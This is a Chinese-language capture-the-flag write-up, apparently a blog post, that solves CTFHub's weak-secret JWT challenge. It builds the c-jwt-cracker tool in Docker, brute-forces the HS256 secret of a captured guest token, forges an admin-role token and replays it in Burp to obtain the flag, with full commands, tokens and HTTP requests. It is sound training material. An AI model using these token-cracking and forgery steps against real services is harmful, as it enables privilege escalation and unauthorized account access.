CTFHub Web进阶-Json Web Token通关4:弱密钥

目录

一、JWT-cracker工具

1、JWT-cracker简介

(1)工具文件结构

(2)基本用法

① 构建 Docker 镜像

② 运行容器破解 JWT

2、安装密钥破解工具

(1)下载工具

(2)docker安装

二、渗透实战

1、打开靶场

2、登录

3、bp抓包获取token

(1)login报文

(2)index报文

(3)jwt解密网站解析

4、暴力破解jwtcrack

5、计算新token

6、bp修改报文发包获取flag


本文详细讲解CTFHub的Web进阶中Json Web Token的弱密钥关卡的原理以及利用JWT-cracker工具破解弱密钥JWT并获取flag的完整流程。首先通过Docker安装c-jwt-cracker工具,然后使用该工具暴力破解靶场中的JWT令牌,成功获取密钥"cogv"。接着修改JWT中role字段为admin,生成新令牌后在BurpSuite中替换原token发送请求,最终获取到flag。

一、JWT-cracker工具

1、JWT-cracker简介

c-jwt-cracker 是一款由 Brendan Rius 开发、基于 C 语言编写的多线程 JWT 暴力破解工具,核心功能是通过暴力枚举的方式破解 JWT(JSON Web Token)的密钥(secret key)。若破解成功,攻击者可利用获取的密钥伪造合法 JWT,仅用于安全测试场景,禁止用于未授权的攻击行为。

(1)工具文件结构

项目仓库包含核心代码文件、构建配置文件和说明文档,具体如下:

文件名作用说明
main.c工具主程序,实现多线程暴力破解逻辑、HMAC 算法调用、参数解析等核心功能。
base64.c/base64.hBase64 编解码模块,基于 Apple Base64 实现修改而来,用于处理 JWT 的 Base64URL 编码内容。
Makefile编译配置文件,支持 Linux、macOS 下的手动编译,包含多线程编译参数。
Dockerfile/entrypoint.shDocker 构建配置文件,用于生成容器镜像,简化环境依赖配置。
LICENSE工具许可证(未明确指定许可证类型,需以仓库最新内容为准)。
README.md工具使用说明,包含编译、运行、参数配置等示例

(2)基本用法

① 构建 Docker 镜像

在项目根目录执行命令,生成名为 jwtcrack 的镜像:

docker build . -t jwtcrack
② 运行容器破解 JWT

通过 docker run 命令启动容器,传入待破解的 JWT 令牌(示例中 JWT 对应的密钥为 Sn1f):

docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

2、安装密钥破解工具

(1)下载工具

https://github.com/brendan-rius/c-jwt-cracker

(2)docker安装

kali中在解压后的文件夹c-jwt-cracker-master中执行sudo docker build . -t jwtcrack命令。

如下所示搭建docker环境成功。

┌──(kali㉿kali)-[~/Desktop/c-jwt-cracker-master]
└─$ sudo su
[sudo] password for kali: 
┌──(root㉿kali)-[/home/kali/Desktop/c-jwt-cracker-master]
└─# docker build . -t jwtcrack

Sending build context to Docker daemon  35.33kB
Step 1/12 : FROM n0madic/alpine-gcc:9.2.0
9.2.0: Pulling from n0madic/alpine-gcc
9d48c3bd43c5: Pull complete 
324a61f7964e: Pull complete 
53d4f541c511: Pull complete 
d9ddf48101d1: Pull complete 
8b3bf3927a50: Pull complete 
Digest: sha256:7edb2b1052f903f4d1b6fd751a846c385547d63f2ed6668067d94856377b5707
Status: Downloaded newer image for n0madic/alpine-gcc:9.2.0
 ---> 9d7f59f1263e
Step 2/12 : RUN apk add --quiet --no-cache libressl-dev
 ---> Running in 0c3b70de80e8
Removing intermediate container 0c3b70de80e8
 ---> c5f962d7e975
Step 3/12 : COPY ./*.h /opt/src/
 ---> 3b1aedd6ce39
Step 4/12 : COPY ./*.c /opt/src/
 ---> 481d9f368590
Step 5/12 : COPY Makefile /opt/src/
 ---> 7dde973ab163
Step 6/12 : COPY entrypoint.sh /
 ---> d2baf60d319d
Step 7/12 : WORKDIR /opt/src
 ---> Running in d476b618354d
Removing intermediate container d476b618354d
 ---> fcaec3b47e0a
Step 8/12 : RUN make
 ---> Running in 487df9a2cdf4
gcc -I /usr/include/openssl -g -std=gnu99 -O3   -c -o main.o main.c
gcc -I /usr/include/openssl -g -std=gnu99 -O3   -c -o base64.o base64.c
gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread
Removing intermediate container 487df9a2cdf4
 ---> c880f54dc037
Step 9/12 : RUN make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
 ---> Running in 9ef15188f8aa
make: Nothing to be done for 'all'.
Removing intermediate container 9ef15188f8aa
 ---> 7feeb3820bf5
Step 10/12 : RUN ["chmod", "+x", "/entrypoint.sh"]
 ---> Running in 3cbc4daaf58e
Removing intermediate container 3cbc4daaf58e
 ---> 9ecb2ce0f68d
Step 11/12 : RUN ["chmod", "+x", "/opt/src/jwtcrack"]
 ---> Running in 9ea15914e35c
Removing intermediate container 9ea15914e35c
 ---> e9256db98286
Step 12/12 : ENTRYPOINT ["/entrypoint.sh"]
 ---> Running in 1119cb036a16
Removing intermediate container 1119cb036a16
 ---> c93dbc446452
Successfully built c93dbc446452
Successfully tagged jwtcrack:latest

二、渗透实战

1、打开靶场

打开靶场,页面提示“如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag”,具体如下所示。

2、登录

点开靶场,这是一个登陆页面,输入用户名admin,密码ljn,点击登录,如下所示

http://challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800/login.php

登录显示“Hello admin(guest), only admin can get flag.”

3、bp抓包获取token

(1)login报文

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA

其中第一部分解密后为:{"typ":"JWT","alg":"HS256"}

(2)index报文

其中第二部分解密后为:{"typ":"JWT","alg":"HS256"}

{"username":"admin","password":"ljn","role":"guest"}

将报文发送到repeater,如下所示。

发送到repeater后效果如下所示,后续我们通过修改token值实现渗透。

(3)jwt解密网站解析

使用jwt解密网站解析,完整如下所示。

https://www.json.cn/jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA

4、暴力破解jwtcrack

docker run -it --rm  jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA

docker run -it --rm  jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiZ3Vlc3QifQ.VErrBZ3s9ekLEQBCV_1fNnOP_Uxs91_6pW16XJ3m-GA

破解结果为 Secret is "cogv"

5、计算新token

第一部分:{"typ":"JWT","alg":"HS256"}不变

第二部分:{"username":"admin","password":"ljn","role":"guest"}中的role改为admin,修改后如下所示。

{"username":"admin","password":"ljn","role":"admin"}

密钥:cogv

重新计算token值:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ.8p5mep2jfy5RV9x2d5RDYmY6_lUKB-p0S1myx4tQ4-c

6、bp修改报文发包获取flag

修改token后发送报文,如下所示获取到flag值ctfhub{1a15015d8c3cda71bcc30309}

完整的报文请求和响应如下所示。

请求:

GET /index.php HTTP/1.1

Host: challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://challenge-f4f36d684da8d1f0.sandbox.ctfhub.com:10800/login.php

Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJsam4iLCJyb2xlIjoiYWRtaW4ifQ.8p5mep2jfy5RV9x2d5RDYmY6_lUKB-p0S1myx4tQ4-c

DNT: 1

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

响应报文:

HTTP/1.1 200 OK

Server: openresty/1.21.4.2

Date: Thu, 30 Oct 2025 13:10:33 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 80

Connection: close

X-Powered-By: PHP/7.4.5

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Methods: *

Hello admin(admin), only admin can get flag.<br>ctfhub{1a15015d8c3cda71bcc30309}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值